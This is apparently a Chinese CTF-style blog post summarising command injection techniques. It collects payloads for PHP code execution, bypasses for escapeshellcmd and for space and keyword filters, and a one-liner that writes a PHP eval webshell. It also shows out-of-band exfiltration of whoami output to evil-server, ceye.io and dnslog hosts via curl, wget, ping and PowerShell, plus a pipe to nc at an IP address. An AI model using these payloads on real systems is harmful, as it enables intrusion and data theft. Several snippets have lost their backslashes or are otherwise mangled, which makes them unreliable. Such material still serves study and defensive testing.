命令注入总结

2023-05-09 14:22:58 浏览数 (2)

直接执行代码

PHP 中有不少可以直接执行代码的函数。

代码语言:javascript复制
eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();

preg_replace( ) 代码执行

preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

代码语言:javascript复制
<?php
    $var = "<tag>phpinfo()</tag>";
    preg_replace("/<tag>(.*?)</tag>/e", "addslashes(\1)", $var);
?>

若无 /e 修饰符,则可以尝试 截断。

重定向

  • cmd > file 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。
  • cmd >> file 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。
  • cmd < file 使cmd命令从file读入
  • cmd << text 从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。
  • cmd <<< word 把word(而不是文件word)和后面的换行作为输入提供给cmd。
  • cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
  • cmd >| file 功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。
  • : > filename 把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).
  • cmd >&n 把输出送到文件描述符n
  • cmd m>&n 把输出到文件符m的信息重定向到文件描述符n
  • cmd >&- 关闭标准输出
  • cmd <&n 输入来自文件描述符n
  • cmd m<&n m来自文件描述各个n
  • cmd <&- 关闭标准输入
  • cmd <&n- 移动输入文件描述符n而非复制它。
  • cmd >&n- 移动输出文件描述符n而非复制它。 注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1cmd 2>&1 >file的效果不一样。

读文件

代码语言:javascript复制
cat flag /{cat,flag}
more flag
less flag
bzmore flag
bzless flag
head flag
tail flag
tailf flag 
tac flag
nl flag
od -a flag

fire flag
wc flag
uniq flag
diff flag flag1.txt
sed -n '1,2p' flag
find -P flag
strings flag
curl file:///root/flag
sort flag
bash -v flag 
rev flag
paste ./flag.txt /etc/passwd

Bypass

多条命令

代码语言:javascript复制

、
    换行符与回车符
|           第一条命令结果作为第二条命令的输入
||          第一条执行失败,执行第二条命令
;           连续指令功能。
&           连接的两条命令都会执行
&&          当第一条执行成功后执行后续命令

echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT

# Windows
Copy 


 - 一个神奇的角色,作为.bat文件中的命令分隔符
<?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
?>

绕过 escapeshellcmd

  • win 下执行 bat
代码语言:javascript复制
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');

执行.bat文件的时候,利用,可以绕过过滤执行命令。

代码语言:javascript复制
dir=../  whoami

空格

  • ${IFS}
代码语言:javascript复制
cat${IFS}flag
cat${IFS}$9flag
cat$IFS$9flag
cat	flag  # x09 是 TAB
  • 重定向符<>
代码语言:javascript复制
cat<>flag
cat<flag

黑名单绕过

  • 拼接
代码语言:javascript复制
a=c;b=at;c=flag;$a$b $c
  • 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

  • 编码
代码语言:javascript复制
`echo "Y2F0IGZsYWc="|base64 -d`
echo "Y2F0IGZsYWc="|base64 -d|bash

$(printf "x63x61x74x20x66x6cx61x67")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
  • 单引号、双引号
代码语言:javascript复制
c""at fl''ag
c'a't f'l'ag
  • 反斜线
代码语言:javascript复制
cat flag
  • 通配符
代码语言:javascript复制
/?in/?s => ls

* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符,e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
[! ] 同 ^
cat fl[0-z]g

echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg

花括号拓展{OS_COMMAND,ARGUMENT}
在Linux bash中还可以使用{cat,/etc/passwd}来绕过
这里没实验成功
  • 未定义变量
代码语言:javascript复制
cat$x /etc/passwd
  • 可变函数
代码语言:javascript复制
(sy.(st).em)(whoami)
$_GET[a]($_GET[b].$_GET[c])

获取内置函数 system 的索引后,直接执行
get_defined_functions()[internal] | grep ststem
get_defined_functions()[internal][381](whoami)
  • $@
代码语言:javascript复制
$ c$@at fl$@ag
flag{xxx}

$ echo i$@d
id

$ i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)

$ echo i$@d|$0
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)

$ echo {nc,47.101.220.241,2333}|$0
直接连 nc 了。。。$0 好牛逼?
$0 就相当于 bash 另外 $n 表示命令行第 n 个参数

$ $0<<<i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
  • 利用已经存在的资源
代码语言:javascript复制
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$ echo $PATH| cut -c 1
/

$ echo $PATH| cut -c 1-4
/usr
  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘ ’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

无回显

  • 弹 shell
  • DNS 外带数据
代码语言:javascript复制
curl "http://testhash.test.dnslog.link/?`whoami`"
  • HTTP 外带
代码语言:javascript复制
# linux
curl http://evil-server/`whoami`
wget http://evil-server/$(whoami)
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

# windows
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/' $a);

长度限制

  • 文件构造(参考橘子那个 hitcon)
代码语言:javascript复制
>w
将会创建一个名字为 w 的空文件。

工具

  • shelling

参考链接

巧用命令注入的 N 种姿势

https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/

0 人点赞